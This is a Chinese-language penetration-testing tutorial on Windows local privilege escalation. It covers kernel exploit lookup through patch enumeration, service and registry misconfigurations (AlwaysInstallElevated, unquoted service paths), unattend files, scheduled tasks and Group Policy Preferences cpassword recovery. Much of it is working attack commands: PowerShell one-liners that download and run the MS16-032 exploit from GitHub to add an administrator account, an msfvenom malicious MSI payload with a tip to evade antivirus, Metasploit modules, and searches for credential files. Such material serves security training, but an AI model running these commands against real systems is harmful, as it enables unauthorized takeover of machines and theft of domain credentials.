Windows中,权限分为四种,分别为User、Adminsitrator、System、TrustedInstaller经常接触的为前三种

0x01 Windwos权限简介

  • User:普通用户权限,是系统中最安全的权限(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)

  • Administrator:管理员权限。可以利用windows的机制将自己提升为System权限,以便操作SAM文件等。

  • System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行dump操作

  • TrustedInstaller:windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件。

低权限渗透受先知,在windows中,如果没有管理员权限,则无法进行获取散列值、安全软件,修改防火墙规则、修改注册表等操作。

windows 管理员权限 linux root权限为最高,提权分为以下两类

  • 纵向提权:低权限角色获得高权限角色的权限。如webshell权限提升到管理员权限。
  • 横向提权:获取同级别角色的权限。如系统A获取系统B的权限。

常用的提权方法有系统内核溢出提权、数据库提权、错误的系统配置提权、组策略首选项提权、web中间件漏洞提权、DLL劫持提权、滥用高权限令牌提权、第三方软件/服务提权

0x02 系统内核溢出漏洞提权

系统内核溢出漏洞提权是一种通用的提权方法,可绕过所有安全限制。在没有及时更新补丁的情况下,寻找提权EXP将已安全的补丁编号与提权的EXP编号进行对比,然后使用没有编号的EXP进行提权。

通过手动执行命令发现缺失补丁

获取shell后,输入如下命令,查看当前权限

1
whoami /groups

当前权限是Mandatory Label\Medium Mandatory Level,说明是一个标准用户。需要将去权限从普通用户提升到管理员,也就是提升到Mandatory Label\High Mandatory Level

查询C:\windows\里的补丁号(log文件)来了解目标机器上安装了哪些补丁,命令如下

1
systeminfo

或者使用如下命令,结果同上

1
Wmic qfe get Caption,Description,HotFixID,InstalledOn

这里的输出结果并不能直接利用。通常利用方式是:寻找提权的EXP,将已安装的补丁编号与提权的EXP编号进行对比,如KiTrap0D和KB979682、MS11-011和KB2393802、MS11-080和KB2592799、MS10-021和KB979683、MS11-080和KB2592799,然后使用没有编号的EXP进行提权。

通过可以执行权限的EXP和他们的补丁编号,执行如下命令,对系统补丁包进行过滤。可看到,已经安装了KB976902 但没安装KB3143141

1
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3143141" /C:"KB976902"

还有一种亮神在《Windows提权-快速查找exp》中介绍的方法

1
micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt

常见的EXP可以参考:https://github.com/SecWiki/windows-kernel-exploits

wmic小知识:WMIC是windows平台上的命令行工具,WMIC不仅可管理本地计算机,还可以管理同一域的所有计算机(需要一定的权限),且在被管理的计算机上不必事先安装WMIC。WMIC在信息收集跟后渗透测试阶段非常实用,可以调取和查看目标机器的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装的补丁、启动项、已安装的软件、操作系统的相关信息和时区。

如果目标机器中存在MS16-032(KB3139914)漏洞,那么不仅可以利用Metasploit进行提权,还能利用Powerhell下的Invoke-MS16-032.ps1脚本进行提权:https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-032/MS16-032.ps1。通过Invoke-MS16-032.ps1脚本可以执行任意程序,且可以带参数执行(全程无弹窗)。

Invoke-MS16-032.ps1脚本上传到目标机器中(也可远程下载并运行),然后执行命令添加一个用户名为wukong1密码为CVTE@123的用户

注:在测试的过程发现运行成功,但是一直没有添加完成用户,后排查在设置密码的需一定的复杂度才可

1
2
Import-Module .\Invoke-MS16-032.ps1
Invoke-MS16-032 -Application cmd.exe -commandline '/c net user wukong1 CVTE@123 /add'

远程下载、提权、添加用户,命令如下

1
2
3
4
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user wukong CVTE@123 /add'"

#提权放入管理原组
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net localgroup administrators wukong /add'"

利用Metasploit发现缺失补丁

利用Metasploit中的post/windows/gather/enum_patches模块,可以根据漏洞编号快速找出系统中缺少的补丁(特别是Metasploit模块的补丁)

Windows Exploit Suggester

Gotham Digital Security 发布了一个名为Windows Exploit Suggester的工具:https://github.com/AonCyberLabs/Windows-Exploit-Suggester 。该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,只需要有目标系统的信息就可。

使用systeminfo命令获取当前系统补丁安装情况,并将补丁信息导入patches.txt

执行如下命令,从微软官方网站自动下载安全公告数据,下载的文件会自动在当前目录下以Excel电子表格的形式保存,测试的过程发现这里用python3执行会报错,用python2可以

1
python windows-exploit-suggester.py --update

安装xlrd模块

1
pip install xlrd

使用windows-Exploit-Suggester工具进行预处理,执行如下命令检查系统中是否存在未修复的漏洞

1
python windows-exploit-suggester.py -d 2020-05-29-mssb.xls -i test.txt

这样可以识别系统中存在未 修复的漏洞,利用这些漏洞就能获取目标系统的system权限。

metasploit内置了post/multi/recon/local_exploit_suggester模块,这个是用来快速识别系统中可能被利用的漏洞。

Powershell中的Sherlock脚本

通过powershell中的Sherlock脚本:https://github.com/rasta-mouse/Sherlock 可以快速查找可能用于本地权限提升的漏洞,漏洞列表如下

使用如下命令,盗用Sherlock脚本

1
Import-Module .\Sherlock.ps1

调用脚本后,可搜索单个漏洞,也可以搜索所有未安装的补丁,搜索所有未安装的补丁,命令如下

1
Find-AllVulns

0x02 Windows操作系统配置错误利用

在Windows中,如果碰到无法通过内核 益处漏洞进行提权的时候,会尝试利用系统中的配置错误来提权。Windows中常见配置错误包括管理员凭据配置错误、服务配置错误、故意消弱的安全措施、用户权限过高…..

系统权限配置错误

Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行完嗯见。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows 是以system权限于行的,因此,其文件夹、文件和注册表键值都受强访问控制机制保护的。但在某些时候,操作系统中仍然存在一些没有得到有效保护的服务。

系统权限配置错误(可写目录漏洞)有如下两种肯能

  • 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务
  • 服务正在运行且无法被终止:这种情况符合大多数漏洞利用场景,通常会利用DLL劫持技术并尝试重启服务来提权

1、PowerUP下的利用实验

这里使用PowerUP脚本:https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1进行演示

PowerUP提供了一些本地提权方法,可通过脚本来寻找目标机器中的windows服务漏洞,运行脚本的方法如下

1
powershell.exe -exec bypass -Command "& {Import-Module c:\PowerUp.ps1; Invoke-AllChecks}"
1
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1'); Invoke-AllChecks"

metasploit同样可执行powershell脚本的模。在metasploit中加载此模块后,可通过metasploit会话来执行。将PowerUp上传到目标服务器,进行测试

1
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks"
1
powershell.exe -exec bypass -Command "& {Import-Module c:\PowerUp.ps1; Invoke-AllChecks}"

如此会显示存在问题的所有服务,并在AbuseFunction直接给出了利用方式,通过给出的利用方式来进行操作(测试靶机有点问题,搞了半天没搞出来,之前在另一台靶机测过…..)这一步主要就是跟着AbuseFunction的提示进行操作就好

2、Metasploit下的演示

Metasploit中,对应的利用模块是exploit/windows/local/service_permissions

1
2
3
use exploit/windows/local/service_permissions
set SESSION
exploit

执行exploit命令 自动反弹一个新的meterpreter system权限

exploit/windows/local/service_permissions模块使用两种方法获得system权限:如果meterpreter以管理员权限运行,该模块尝试创建并运行一个新的服务,如果当前权限不允许创建服务,该模块会判断哪些服务或者文件夹的权限有问题,并对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行文件 ,文件名和安装路径随机

注册表键AlwayslnstallElevated

注册表键AlwayslnstallElevated是一个策略设置项。Windows允许低权限用户以syetem权限运行安装文件。如果启动此策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件

1、PathsAlwayslnstallElevated漏洞产生原因

漏洞产生的原因是用户开启了 Windows installer特权的安装功能

在 运行设置框中输入gpedit.msc 打开组策略编辑器

组策略——计算机配置——管理模版——Windows组件——Windows installer——永远以高特权进行安装:选择启用

组策略——用户配置——管理模版——Windows组件——Windows installer——永远以高特权进行安装:选择启用

设置完毕后,会在注册表的以下两个位置自动创建1

1
2
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

2、Windows installer的相关知识

windows Installer是Windows操作系统的组件之一,抓门用来管理和配置软件服务。Windows installer除了是一个安装程序,还用户管理软件的安装、管理软件组件的添加和删除、监视文件的还原、通过回滚进行灾难恢复…

其氛围客户端安装服务(Msiexec.exe)和msi文件两部分,他们是一起工作的。Windows installer通过Msexec.exe安装MSI文件包含的程序。双击MSI文件就会运行Msexec.exe

3、演示

这里使用PowerUP的Get-RegistryAlwaysInstallElevated模块来检测注册表是否被设置。如果 AlwaysInstallElevated 注册表项被设置,意味着的 MSI 文件是以 system 权限运行的,True 表示已经设置,命令如下

1
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\Users\Admin\Desktop\PowerUp\PowerUp\PowerUp.ps1');Get-RegistryAlwaysInstallElevated

也可用注册表查看

1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

接着我们需要生成恶意的MSI安装文件,让其来添加用户,使用PowerUp脚本自带的 Write-UserAddMSI模块,运行后生成文件 UserAdd.msi

1
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('C:\Users\Admin\Desktop\PowerUp\PowerUp\PowerUp.ps1');Write-UserAddMSI

最后我们以普通权限运行UserAdd.msi,下面这个运行后还需要点击Greate,更方便的是直接在桌面上进行双击确定

1
msiexec /q /i UserAdd.msi

可以看到执行完成后,成功添加了账户

另外的方式是可以使用msf生成木马,进行上传运行,注意:c后面一定要两个\实战记得免杀

1
2
msfvenom -f msi -p windows/adduser USER=qing PASS=123P@ss! -o /root/msi.msi
upload /root/msi.msi c:\\msi.msi //注意:c后面一定要两个\

msiexec工具参数:

  • /quiet:在安装过程中禁止向用户发送消息
  • /qn:不实用图形界面
  • /i:安装程序

也可利用metasploit的exploit/windows/local/always_install_elevated模块完成以上的操作,会返回一个system权限的mterpreter。这个模块会创建一个文件名随机的MSI文件,提权后自动删除已部署的文件。

可信任服务路径漏洞

可信任服务路径(包含空格且没有引号的路径)漏洞利用了windows文件路径解析的特性。并涉及服务路径的文件/文件夹权限(存在缺陷的服务程序利用属于可执行文件/文件夹的权限)。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,这个漏洞就会被攻击者用来上传可执行文件。总结来说:如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。

该漏洞存在如下两种可能性:

  • 如果路径与服务有关,就任意创建一个服务或者编译Serviec模版
  • 如果路径与可执行文件有关,就任意创建一个可执行文件。

1、Trusted Service Paths漏洞产生的原因

因为Windows服务通常都是以system权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。

如,一个文件路径C:\Program Files\Some Folder\Service.exe对于该路径中每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对文件路径中空格的所有可能情况进行尝试,直到找到一个能够匹配的程序。在这个例子中,windows会一次尝试确定和指定下列程序

1
2
3
C:\Program.exe
C:\Program Files:\Some.exe
C:\Program Files:\Some Folder\Service.exe

因此,如果一个被“适当”命令可执行程序被上传到受影响的目录中,服务一旦重启,该程序就会以system权限运行,在多数情况下

2、metasploit下的演示

检测目标机器中是否存在漏洞。水用wmic命令,列出目标机器中所有没有被引号引起来的服务

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

通过显示出来的服务路径有没有被引号引起来,且路径是否包含空格来判断目标机器上是否存在可信任服务路径漏洞。

下一步是检测目标文件是否有写权限。可使用Windows内置工具

1
icacls "上一步得到的服务路径"
  • Everyone:用户对这个文件夹有完全控制权限
  • (M):修改
  • (F): 完全控制
  • (CI): 从属容器将继承访问控制项
  • (OI):从属文件将继承访问控制项

Everyone:(OI)(CI)(F)意思是对该文件夹,用户有读写、删除其下文件、删除其子目录的权限

确认漏洞后,要上传的程序重命名并防止在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务

1
2
sc stop service_name
sc start service_name
自动安装配置文件

网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法。在这个过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息。其中一些可能包含本地管理员账号和密码等信息,如果能得到这些信息将极大的帮助我们提权.

1
2
3
4
5
6
7
8
9
10
11
c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\windwos\system32\sysprep.inf
c:\windwos\system32\sysprep.xml
c:\unattend.xml
c:\windows\Panther\Unattended.xml
c:\windows\Panther\Unattend\Unattended.xml
c:\windows\Panther\Unattend.xml
c:\windows\Panther\Unattend\Unattend.xml
c:\windows\System32\Sysprep\unattend.xml
c:\windows\System32\Sysprep\Panther\unattend.xml

可执行如下命令,搜索Unattend.xml文件

1
dir /b /s c:\Unattend.xml

打开查看是否包含明文密码或者经过Base64编码的密码

metasploit中集成了利用模块post/windows/gather/enum_unattend

计划任务

如下命令查看计算机的计划任务

1
schtasks /query /fo LIST /v

AccessChk是SysInterals套件中的一个工具,用于在windows中进行一些系统活程序的高级查询、管理和故障排除工作,下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk 。为避免杀毒软件的检查,攻击者会尽量避免接触目标机器的磁盘。而AccessChk是微软官方的,一般不会引起杀毒软件的注意

查看指定目录的权限配置情况。如果攻击者对高权限运行的任务所在目录居于写权限,就可以使用恶意软件程序覆盖原来的程序。这样在计划任务下次执行时,就会以高权限来运行恶意软件

1
accesschk.exe -dqv "C:\Microsoft" -accepteula

常用命令

1
accesschk.exe /accepteula //自动接受许可协议

列出某个驱动器下所有权限配置有缺陷的文件夹

1
2
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs"AuthenticatedUsers"c:\

列出某个驱动器下所有权限配置有缺陷的文件

1
2
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs"AuthenticatedUsers"c:\*.*

Empire内置模块

Empire内置了PowerUP部分模块 usemodule privesc/powerup 然后按“tab”键 查看模块列表

依旧使用AllChecks模块进行演示,AllChecks模块用户执行脚本、检查系统漏洞,使用命令如下

1
2
usemodule privesc/powerup
execute

AllChecks模块的应用对象如下

  • 没有被引号引起来的服务路径
  • ACL配置错误的服务(通常通过“service_*”利用它)
  • 服务的可执行文件的权限设置不当(通常通过“service_exe_*”利用它)
  • Unattend.xml文件
  • 注册表键AlwaysInstallElevated
  • 如果有Autologon凭证,都会留在注册表中
  • 加密的web.config字符串和应用程序池的密码
  • %PATH%.DLL的劫持机会(通常通过write_dllhijacker利用它)

0x03 组策略首选项提权

组策略首选项提权简介

SYSVOL是活动后目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在雨中所有域控制器之间进行复制。SYSVOL文件夹是在安装活动目录时自动创建的,主要用来;爱存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户具有读写权限的活动目录的域范围内共享。整个SYSVOL目录所在的域控制器中是自动同步和共享的,所有的策略均存放在C:\Windows\SYSVOL\DOMAIN\Policies目录中

在一般的域环境中,所有机器都是脚本化批量部署的,数据量通常很大。为了方便管理,管理员往往会使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员往往会修改本地管理员密码

就算如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。在通过一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码

常见的组策略首选项(Group Policy Preferences)列举如下:

  • 映射驱动器(Drives.xml)
  • 创建本地用户
  • 数据源(DataSources.xml)
  • 打印机配置(Printers.xml)
  • 创建/更新服务(Services.xml)
  • 计划任务(ScheduledTasks.xml)
组策略首选项提权分析

1、创建组策略,批量修改域中机器的本地管理员密码

在Group Policy Management Editor中打开计算机配置界面吗,新建一个组策略,更新本地计算机中用户的组策略首选项密码

将Domain Computers组添加到验证组策略对象列表汇总,将新建的组策略应用到域中的所有的非域控制器中,详细步骤参考:https://community.spiceworks.com/how_to/2123-add-an-active-directory-group-to-the-local-administrator-group-of-workstation-s

域中的机器会从域控制器处获取组策略的更新信息。手动更新域中的机器的组策略

1
gpupdate

2、获取组策略凭据

管理员在雨中新建一个组策略后,操作系统会自动在SYSVOL共享目录收纳柜生成 一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256加密算法,由于此算法已被公开,导致保存在XML文件中的密码安全性大大降低。任何域用户后和域信任的用户均可对该共享目录进行访问,这就意味着,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账户/密码的本地管理员计算机。在SYSVOL中搜索,可以找到包含cpassword的XML文件

(1)手动查找cpassword

浏览SYSVOL文件夹,获取相关文件

也可利用type命令直接搜索并访问XML文件,命令如下

1
type C:\Windows\SYSVOL\sysvol\hacke.testlab\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Preferences\Groups\Groups.xml

如果设置了密码,那么cpassword是用AES-256算法加密,使用gpprefdecrypt.py脚本进行解密即可,在测试的时候没有设置密码,这里没有显示。其他的获取cpassword方式还有如下三种方式。

(2)使用PowerShell获取cpassword

PowerSploit提供了Get-GPPPassword.ps1脚本。将该脚本导入系统,获取组策略中的密码

(3)使用Metasploit查找cpassword

metasploit中自动查找cpassword的模块为post/windows/gather/credentials/gpp

(4)使用Empire查找cpassword

在Empire执行“use module privies/gpp”

除了Groups.xml外,还有几个组策略选项文件中有可选的cpassword属性,列举如下

1
2
3
4
5
Services\Services.xml
ScheduleTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives/Drives.xml
DataSources\DataSources.xml

参考文章

《内网安全攻防渗透测试指南》

https://xz.aliyun.com/t/7261

https://www.sohu.com/a/229522968_466846